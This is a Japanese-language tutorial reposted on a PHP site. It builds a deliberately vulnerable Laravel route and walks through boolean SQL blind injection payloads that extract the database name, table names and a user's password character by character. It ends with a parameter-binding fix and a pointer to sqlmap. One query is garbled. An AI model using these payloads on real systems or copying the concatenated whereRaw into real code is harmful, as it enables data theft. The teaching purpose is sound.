Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

WBOY
リリース: 2022-07-27 10:57:33
転載
2489 人が閲覧しました

この記事では、laravel に関する関連知識を提供します。主に、laravel の脆弱性を作成することで SQL ブラインド インジェクションの原理を説明する方法を紹介します。いわゆるブラインド インジェクションとは、SQL からのエラー応答がないことを意味します。サーバーの表示時に完了したインジェクション攻撃を見てみましょう。

Laravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析

#[関連する推奨事項:

laravel ビデオチュートリアル]

環境

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
ログイン後にコピー

脆弱性の作成

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id
ログイン後にコピー

テスト

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh
ログイン後にコピー

手順

データベース名

推測データ名の長さを調べます

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去
ログイン後にコピー

データベース名を推測します

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度
ログイン後にコピー

最後に、laravel_project

テーブル名

次のようになります。手順と推測 データベースはほぼ同じなので、簡単に説明します。

information_schema

information_schema は mysql に付属しています。

データベース名、テーブル名、カラムの種類などがすべて記録されています。テーブルのフィールドを推測してください。このデータベースから取得する必要があります。

laravel_project 内のテーブルの数を推測します

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+
ログイン後にコピー

最初のテーブル名の長さを推測します

With [推測してくださいデータ名 長さ] これはそれほど多くありません。

最初のテーブル名を推測します

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第
ログイン後にコピー

最後に、最初のテーブル名は次のとおりです: failed_jobs

フィールドを推測します

テーブルを推測するのと同じロジック。

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数
ログイン後にコピー

データを推測する

データ これが最も重要なことです。

failed_jobs にはデータがないため、users に変更しました。

users にはパスワード フィールドがあります。

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注
ログイン後にコピー

....

防御

(ニーズを満たさない場合は、Raw が必要な場合があります)

必要に応じて、バインドするだけです。

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});
ログイン後にコピー

フレームワークを安全に使用する限り、抜け穴はありません。

それらの古いプロジェクトには抜け穴がたくさんあります。

今の時代、抜け穴を見つけるのは難しいです。

Ps

わかりやすくするために、上記では最も単純な検索が使用されています。

手動ブラインドインジェクションでは二分探索を使用する必要があります。

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;
ログイン後にコピー

ツール sqlmap を使用して直接スキャンするのが最善です。

[関連する推奨事項:

laravel ビデオチュートリアル ]

以上がLaravel の脆弱性の例による SQL ブラインド インジェクションの原則の解析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:learnku.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!